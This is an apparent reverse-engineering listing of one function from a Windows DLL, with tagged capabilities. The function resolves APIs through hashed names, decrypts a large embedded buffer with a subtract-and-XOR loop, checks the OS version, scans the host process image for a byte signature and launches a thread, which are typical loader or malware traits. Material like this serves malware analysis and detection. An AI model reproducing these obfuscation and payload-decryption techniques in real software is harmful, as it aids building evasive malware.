Function at 0x10014140
Capabilities:
Check os version
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x101469e4]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x100143a7
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x38]
push esi
push edi
push 0x1f262977
mov dword [0x10147b50], eax
call fcn.10002cb0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov word [ebp - 0x30], 0
push 0x397c3f06
lea ecx, [ebp - 0x2c]
movq qword [ebp - 0x38], xmm0
mov esi, eax
mov byte [ebp - 0x2e], 0
call fcn.10003050
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100141ca
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x74696e49
push eax
push esi
mov byte [ebp - 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x24], 0
jmp 0x100141ed
push 0x5cc92b8b
lea ecx, [ebp - 0x2c]
call fcn.100028c0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movq qword [ebp - 0x2c], xmm0
call eax
movaps xmm1, xmmword [0x1003a760]
mov eax, 0x10147f70
movaps xmm2, xmmword [str.wwwwwwwwwwwwwwww]
mov edx, 0x490b4
mov ecx, 0x921680
nop dword [eax]
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x10014210
nop dword [eax + eax]
mov al, byte [ecx + 0x10147f60]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10147f60], al
inc ecx
cmp ecx, 0x92169f
jb 0x10014250
push 0x94
lea eax, [ebp - 0xcc]
push 0
push eax
call fcn.1001ba80
add esp, 0xc
mov dword [ebp - 0xcc], 0x94
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xc8], 6
mov edi, 1
ja 0x100142b9
movzx eax, byte [0x10147b68]
cmp dword [ebp - 0xc4], edi
cmovbe eax, edi
mov byte [0x10147b68], al
push 0xc
lea eax, [ebp - 0x38]
mov dword [ebp - 0x20], 0xffffffa1
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0xffffffff
push 0x400000
mov dword [ebp - 0x18], 0xffff8b32
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0x78ffffff
mov dword [ebp - 0xc], 0x8bffff89
mov word [ebp - 8], 0x8ff
mov byte [ebp - 6], 0x51
mov dword [ebp - 0x38], 0
movq qword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleInformation
mov esi, dword [ebp - 0x34]
xor edx, edx
test esi, esi
je 0x10014380
nop dword [eax]
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
cmp cl, 0xff
je 0x10014334
cmp byte [eax + edx + 0x400000], cl
jne 0x10014375
inc eax
cmp eax, 0x1b
jl 0x10014322
lea eax, [edx + 0x400000]
test eax, eax
je 0x1001434c
mov eax, dword [eax + 1]
mov dword [0x10147c10], eax
push 0
push 0
push 0
push 0x1000b310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 0xc
inc edx
cmp edx, esi
jb 0x10014320
jmp 0x1001434c
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
cmp cl, 0xff
je 0x10014394
cmp byte [eax + edx + 0x400000], cl
jne 0x1001439c
inc eax
cmp eax, 0x1b
jl 0x10014382
jmp 0x1001433a
inc edx
cmp edx, 0x2000000
jb 0x10014380
jmp 0x1001434c
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.10018c0f
mov esp, ebp
pop ebp
ret 0xc